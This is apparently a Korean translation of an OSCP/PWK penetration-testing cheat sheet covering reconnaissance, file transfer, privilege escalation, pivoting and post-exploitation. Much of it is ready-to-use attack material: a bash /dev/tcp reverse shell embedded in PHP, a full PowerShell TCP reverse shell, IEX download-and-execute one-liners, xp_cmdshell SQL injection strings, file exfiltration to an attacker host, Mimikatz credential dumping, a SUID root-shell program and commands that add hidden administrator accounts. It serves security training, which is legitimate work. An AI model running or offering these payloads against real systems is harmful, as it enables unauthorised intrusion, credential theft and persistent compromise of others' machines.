
PWK/OSCP 시험 준비를 위한 종합적인 침투 테스트 치트 시트로, 권한 상승, 비밀번호 크래킹, 페이로드 생성, 사후 침투, 포트 스캐닝, 웹 공격 및 정찰 기술을 다룹니다.
JustTryHarder는 PWK 과정 및 OSCP 시험을 도와줄 치트 시트입니다.
(PayloadAllTheThings에서 영감을 받음)
도움이 되셨다면 Pull Request를 제출하거나 별을 눌러 사랑을 나눠주세요. 💖
Hacktoberfest 친화적! 네, Hacktoberfest를 위한 Pull Request를 환영합니다! 스팸이 아니고 실제로 이 저장소에 기여하는지 확인해주세요. 감사합니다 & 즐거운 해킹 되세요!
면책: 아래 내용에는 PWK 랩 / OSCP 시험에 대한 스포일러가 포함되어 있지 않습니다.
이 정보의 대부분은 다른 GitHub 저장소, 블로그, 사이트 등에서 얻었습니다. 가능한 한 원저작자에게 출처를 표시하려고 노력했습니다. 출처를 표시하지 않은 경우 Twitter: https://twitter.com/s1nfulz로 연락주세요.
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
`TTL`을 사용하여 호스트의 OS를 확인할 수 있습니다. TTL의 세 가지 유형은 다음과 같습니다.
- **TTL=64** = \*nix - 홉 수입니다. 따라서 61이 표시되면 3홉이며 \*nix 장치입니다. 대부분 Linux입니다.
- **TTL=128** = Windows - TTL이 127이면 홉 수는 1이며 Windows 박스입니다.
- **TTL=254** = Solaris/AIX - TTL이 250이면 홉 수는 4이며 Solaris 박스입니다.
## BOF (WIP)
(일반적인 나쁜 문자: `0x00`, `0x0A`, `0x0D`)
- 퍼징
- EIP 위치 찾기
- 나쁜 문자 찾기
- `jmp esp` 찾기
- `msfvenom`으로 페이로드 생성
- `netcat`으로 리버스 셸 획득
**좋은 BOF 자료:**
- [NCC Group - Win32용 익스플로잇 작성](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - 익스플로잇 작성 튜토리얼 1부](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - 32비트 Windows 버퍼 오버플로우 쉽게 배우기](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## 탈출 / 환경 탈출
- [Pentest Partners - Citrix 탈출](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk 탈출](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Windows에서 키오스크/POS 탈출 키](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Citrix 환경 탈출](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - 애플리케이션 탈출](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - 환경 탈출의 일반적인 문제 (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix 탈출](https://gracefulsecurity.com/citrix-breakout/)
## DNS - 영역 전송```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## 파일 전송
### SMB 전송
피해자 머신(Windows)에서:```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Wget 전송
호스트(리버스 셸 내부)에서 파일을 가져오는 방법.
**설정:** 전송하려는 파일을 `/var/www/html/`에 넣고 `service apache2 start`를 실행하세요.
원격 서버에서 실행:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### TFTP 전송
(Kali에서 Windows로 전송하는 방법)
**MSF 사용:**
다음 단계 전에 MSF를 시작하십시오:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**터미널에서:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (Windows에서 Kali로)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
대화형 세션:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
대화형 PowerShell 세션 없이 (`wget.ps1` 생성):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**로컬 호스트:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. `encoded.b64`를 `nc` 또는 다른 방법으로 원격 서버로 전송하세요.
**원격 서버 - Linux:**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### HTTP 파일 업로드 (데이터 유출)
**1. upload.php 생성**
공격 머신의 웹루트(`/var/www/html` 기본값)에 생성합니다.```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. 디렉토리 생성**
업로드 디렉토리를 생성하고 업로드를 허용하도록 적절한 권한을 설정합니다.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. 파일 업로드**
PowerShell을 사용하여 피해자 머신에서 공격자 머신으로 파일 업로드:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
- `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
- `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
- `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`
## LFI / RFI
**PHP 리버스 셸:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**명령 삽입:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi
- `EXEC master..xp_cmdshell 'whoami';`
- `' exec master..xp_cmdshell 'whoami' --`
- [OSCP-2 SQL 인젝션 치트시트](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
- [PentestMonkey SQL 인젝션](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
## 비밀번호 크래킹
**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## 비밀번호 스프레이 공격 (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## Payload Generation
- [NETSEC - Creating Payloads](https://netsec.ws/?p=331)
- [MsfVenom Cheatsheet](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
- [Metasploit Unleashed Payloads](https://www.offensive-security.com/metasploit-unleashed/payloads/)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
**Types:**
- Non-staged: `netcat`
- Staged: `multi/handler`
## PHP
- [The differences between exec(), shell\_exec, system() and passthru()](https://stackoverflow.com/questions/20072696/what-is-different-between-exec-shell-exec-system-and-passthru-functions?lq=1)
## Priv Esc - Linux
**Note:** If GCC & wget are installed, the system MIGHT be vulnerable to a kernel exploit.
- [Linux Kernel Exploits](https://github.com/SecWiki/linux-kernel-exploits)
- [GTFObins - Break out of restricted shells](https://gtfobins.github.io)
- GTFO Helper script: [https://github.com/dreadnaughtsec/gtfo](https://github.com/dreadnaughtsec/gtfo)
- [Linux Exploit Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
- [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2)
- [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
**Enumeration Commands:**```bash
grep -Ri 'password' .
find / -perm –4000 2>/dev/null
find / -perm -u=s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
# (then ls -la, look for 777 file permissions)
```
**사용자 정의 SUID 바이너리:** 대상 사용자로 코드 실행이 필요합니다. 예: mysql sys\_eval을 root로 실행.```c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main(){
setuid(geteuid());
system("/bin/bash");
return 0;
}
```
## 권한 상승 - Windows
- [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
- [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
- [Powerless - 열거 도구](https://github.com/M4ximuss/Powerless)
- [로컬 권한 상승 워크샵](https://github.com/sagishahar/lpeworkshop)
- [Just Another Windows (Enum) Script / JAWS](https://github.com/411Hall/JAWS)
- [Watson](https://github.com/rasta-mouse/Watson)
- [Sherlock (사용 중단됨)](https://github.com/rasta-mouse/Sherlock)
- [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
**명령어:**
- `churrasco -d "net user /add <username> <password>"`
- `churrasco -d "net localgroup administrators <username> /add"`
- `churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"`
## 포스트 익스플로잇
1. `Mimikatz.exe` (실행)
2. `privilege::debug`
3. `sekurlsa::logonpasswords`
## 포트 포워딩
> **로컬:** 로컬 포트를 원격 호스트로 포워딩합니다.
> 로컬을 사용하는 경우: 원격 머신에서 접근할 수 있는 서비스가 로컬 머신에 실행 중이며, 이를 로컬 머신에서 직접 접근하려는 경우 사용합니다.
>
> **원격:** 원격 포트를 로컬 호스트로 포워딩합니다.
> 원격을 사용하는 경우: 로컬 머신에서 접근할 수 있는 서비스를 원격 머신에서 사용할 수 있도록 해야 할 때 사용합니다. SSH로 로그인한 머신에서 수신 소켓을 엽니다.
>
> **동적:** SOCKS 사용.
> 동적은 로컬과 유사하지만, 클라이언트 측에서 SOCKS 프록시처럼 작동합니다. SOCKS 포워딩을 예상하는 소프트웨어와 연결해야 할 때 사용합니다.
### Chisel
**로컬 시스템:**```bash
./chisel server -p 8080 --reverse
```
**피해자:**```bash
./chisel client YOUR_IP:8080 R:1234:127.0.0.1:1234
```
### SSH
1. **SSH 키 쌍 생성** 피벗을 통해 사용 중인 박스에서 자격 증명을 보호하십시오.
<!-- end list -->```bash
ssh-keygen
cat ~/.ssh/id_rsa.pub
```
2. **공개 키를 복사합니다**. 이 값과 피벗 머신의 IP 주소를 아래 구문을 사용하여 공격 머신(Kali)의 `~/.ssh/authorized_keys` 파일에 추가합니다.
<!-- end list -->```
from="[VICTIM_MACHINE_IP_ADDRESS]",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty [PUBLIC_KEY_VALUE]
```
3. **SSH 서비스가 실행 중인지 확인하십시오** 공격(Kali) 머신에서.
<!-- end list -->```bash
sudo service ssh start
```
4. **SSH 호출 시작** - 피벗을 통해 통과하는 박스에서, 1단계에서 생성된 `id_rsa` 개인 키를 지정합니다.
<!-- end list -->```bash
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /[PATH_TO_YOUR_PRIVATE_KEY]/id_rsa kali@[ATTACKING_MACHINE_IP]
```
5. **proxychains 설정 편집**: `/etc/proxychains.conf`
<!-- end list -->```
socks4 127.0.0.1 1080
```
6. **proxychains 실행**. `nmap`으로 스캔할 때는 반드시 TCP Connect scans를 사용하세요.
<!-- end list -->```bash
sudo proxychains nmap -sT -p80 -sC -sV --open -Pn -n 10.10.10.10
```
**추가 참고 사항:**
- `ssh [email protected] -R 1234:127.0.0.1:1234`
- `ssh -D 1337 -q -C -N -f [email protected]` ([출처](https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters))
## Socks 프록시 (PowerShell 사용)
**로컬:**
- `vi /etc/proxychains.conf` -> `socks5 <ip> 9080`
- `Import-Module .\Invoke-SocksProxy.psm1`
- `Invoke-SocksProxy -bindPort 9080`
- `proxychains nmap -sT <ip>`
## 포트 스캐닝
### TCP```bash
reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
nmap -sT -p 22,80,110 -A
nmap -p- -iL ips.txt > TCP_Ports.txt
nc -v -n -z -w1 10.10.10.10 1-10000
nmap -p- -iL ips.txt > AllTCPPorts.txt
```
### UDP
(몇 시간이 걸릴 수 있습니다. 셸이 있다면 `netstat`이 더 나은 대안입니다.)```bash
nmap -sU --top-ports 10000
nmap -sT -sU -p 22,80,110 -A
nmap -sT -sU -p- --min-rate 2000
nmap -p- -sU -iL ips.txt > udp.txt
nmap -sU -sV -iL ips.txt > alludpports.txt
```
### 기타 프로토콜
**SNMP:**
`nmap -p161 -sU -iL ips.txt > udp.txt`
**SSH:**
`nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt`
**SSL:**
`nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt`
**NMAP 부트스트랩 보고서:**```bash
nmap -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.10
firefox nmap-bootstrap.xsl
```
## Ping Sweep
### Linux (One-liners)```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
fping -g 192.168.0.1/24
```
### Linux (스크립트)```bash
for i in `seq 1 255`
do
ping -c1 192.168.125.$i 2>/dev/null 1>&2
if [[ $? -eq 0 ]]
then
echo 192.168.125.$i is up
fi
done
```
### Windows (CMD)```cmd
for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.
```
### Windows (PowerShell)```powershell
$ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }
```
### Nmap```bash
nmap -sP 192.168.0.1-254
```
## 피보팅
- `sshuttle -r [email protected] 10.1.1.0/24`
## 원격 데스크톱
- `rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/`
- `xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore`
## Responder
- `responder -I tun0 -wrF`
- [NTLM 릴레이 및 Empire와 함께하는 Responder](https://chryzsh.gitbooks.io/darthsidious/content/execution/responder-with-ntlm-relay-and-empire.html)
- [NTLM 릴레이 실용 가이드](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
## 리버스 셸
**리눅스:**
- [PentestMonkey - 리버스 셸 치트 시트](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- [Awansec - 리버스 셸](https://awansec.com/reverse-shell.html)
- [RevShells.com](https://www.revshells.com/)
**윈도우:**
- [GitHub - 윈도우 PHP 리버스 셸](https://github.com/Dhayalanb/windows-php-reverse-shell)
- `nc 10.10.10.10 4444 –e cmd.exe`
## 셸 업그레이드
출처: [Ropnop 블로그](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) & [HTB 포럼](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
### 파이썬
1. `python -c 'import pty;spawn("/bin/bash");'` 또는 `python3 -c 'import pty;spawn("/bin/bash");'`
2. 리버스 셸에서:
<!-- end list -->```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```
3. Kali에서:
<!-- end list -->```bash
stty raw -echo
fg
```
4. 리버스 셸에서:
<!-- end list -->```bash
reset # (sometimes optional)
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols> # (optional)
```
### Socat 사용하기
**수신기:**```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
**피해자:**```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
### Perl
1. `perl -e 'exec "/bin/sh";'`
2. `perl: exec "/bin/sh";`
### Bash
`/bin/sh -i`
## SQL 인젝션 (SQLmap)```bash
sqlmap -u "[http://example.com/test.php?test=test](http://example.com/test.php?test=test)" --level=5 --risk=3 --batch
```
## 수신 대기 포트 확인
**Linux netstat:**
`netstat -tulpn | grep LISTEN`
**FreeBSD/MacOS X netstat:**
`netstat -anp tcp | grep LISTEN`
`netstat -anp udp | grep LISTEN`
**OpenBSD netstat:**
`netstat -na -f inet | grep LISTEN`
`netstat -nat | grep LISTEN`
**Nmap 스캔:**
`sudo nmap -sT -O localhost`
`sudo nmap -sU -O 192.168.2.13` (UDP)
`sudo nmap -sT -O 192.168.2.13` (TCP)
## SMB - 열거
- [0xdf - SMB 열거 체크리스트](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html)
- `smbmap -H 10.10.10.10`
- `smbclient -L 10.0.0.10`
- `smbclient //10.10.10.10/share$`
## SMB - Impacket
**Impacket의 PSEXEC** (원격 포트 포워딩 생성 후):```bash
/usr/share/doc/python-impacket/examples/psexec.py [email protected]
# Password: (password)
# [*] Trying protocol 445/SMB...
```
**Impacket's SMBServer** (파일 전송용):
1. `cd /usr/share/windows-binaries`
2. `python /usr/share/doc/python-impacket/examples/smbserver.py a .`
3. `\\10.10.10.10\a\mimikatz.exe`
## SMTP 열거
- [SMTP 명령어](https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt)
## ICMP 주입
1. `ping -n 3 10.10.10.10`
2. `tcpdump -i tun0 icmp`
## VMware (전체 화면이 아닌 경우)
`systemctl restart open-vm-tools.service`
## 웹 서버
- `python -m SimpleHTTPServer 80`
- `python3 -m http.server 80`
- `ngrok http "file:///C:\Users\sinfulz\Public Folder"`
- `php -S 0.0.0.0:80`
## 웹 스캐닝
**GoBuster (Linux/Apache):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401
```
**GoBuster (Windows/IIS):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401
```
**Dirsearch (Linux/Apache):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50
```
**Dirsearch (Windows/IIS):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50
```
**기타 GoBuster:**
- HTTP: `gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69`
- HTTPS: `gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69`
**Nikto:**
- HTTP: `nikto -h 10.10.10.10 -p 80`
- HTTPS: `nikto -h 10.10.10.10 -p 443`
**WFuzz:**```bash
wfuzz -u [http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00](http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00) -w /usr/share/wfuzz/wordlist/general/common.txt
```
## 웹 셸
- [PHPBash](https://github.com/Arrexel/phpbash)
- [p0wny-shell](https://github.com/flozz/p0wny-shell)
## 워드프레스
- [Top Hat Sec - WP](https://forum.top-hat-sec.com/index.php?topic=5758.0)
## Windows 프레임워크 / PowerShell
**PowerShell 실행 정책 우회:**```powershell
powershell -ExecutionPolicy ByPass -File script.ps1
```
**리소스:**
- [Nishang](https://github.com/samratashok/nishang)
- [Sherlock](https://github.com/rasta-mouse/Sherlock)
**리버스 파워셸:**
(때때로 powershell 또는 echo를 문자열 앞에 두거나 따옴표를 사용해야 할 수도 있습니다.)```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
**PowerUp (로컬 웹 서버에서):**```powershell
echo IEX(New-Object Net.WebClient).DownloadString('[http://10.10.10.10:80/PowerUp.ps1](http://10.10.10.10:80/PowerUp.ps1)') | powershell -noprofile -
```
또는```powershell
powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('[http://10.10.14.](http://10.10.14.)x/Whatever.ps1'); Invoke-Whatever"
```
**MSSQL을 사용한 리버스 PowerShell:**```sql
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"[http://10.10.10.10/Nishang-ReverseShell.ps1](http://10.10.10.10/Nishang-ReverseShell.ps1)\")
```
**PowerShell로 파일 전송:**```powershell
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')
```
## Windows 사후 침투 명령어```cmd
WMIC USERACCOUNT LIST BRIEF
net user
net localgroup Users
net localgroup Administrators
net user USERNAME NEWPASS /add
net user "USER NAME" NEWPASS /add
net localgroup administrators USERNAME /add
```
## 쓰기 가능한 디렉토리
### Windows
(출처: [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md))
다음 폴더들은 기본적으로 일반 사용자가 쓸 수 있습니다 (OS 버전에 따라 다름).```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Linux
Linux에서 전체 쓰기 가능 디렉토리를 찾는 방법:```bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```
-----
## 할 일 목록:
- [ ] 치트시트의 가독성 향상
- [ ] 비어 있는 섹션 채우기
- [ ] 불필요한 섹션 제거
- [ ] 레포지토리의 파일을 치트시트에 통합
- [ ] GitBook으로 마이그레이션
- [ ] 필요 시 치트시트에 스크린샷/GIF 포함
- [ ] 목차 추가
## 감사합니다:
내 치트시트를 웹사이트/블로그에 포함시켜 주신 분들께 감사드립니다:
- [KhaoticDev Cheatsheets](https://khaoticdev.net/cheatsheets/#collections)
- [NCyberSec Facebook Post](https://www.facebook.com/ncybersec/posts/1541830509321001)
- [CyberG0100 Facebook Post](https://www.facebook.com/cyberg0100/posts/github-sinfulzjusttryharder-justtryharder-a-cheat-sheet-which-will-aid-you-throu/653235345249466)
- [r/CyberSpaceVN Reddit Post](https://www.reddit.com/r/CyberSpaceVN/comments/f3n2wp/github_sinfulzjusttryharder_justtryharder_a_cheat)
- [XN4K PWK Cheatsheet](https://xn4k.github.io/pentest/PWK-course-&-the-OSCP-Exam-Cheatsheet/)
- [OpenSourceLibs Pentesting Tools](https://opensourcelibs.com/libs/pentesting-tools)
- [GitMemory (brhannah)](https://gitmemory.com/brhannah)
- [BugBountyTips Blog](https://www.bugbountytips.tech/2020/08/23/justtryharderpwk-cheatsheetkali-linux-cheatsheethydra-cheatsheetsecu-2/)
- [PythonLang OSCP Category](https://pythonlang.dev/category/oscp/)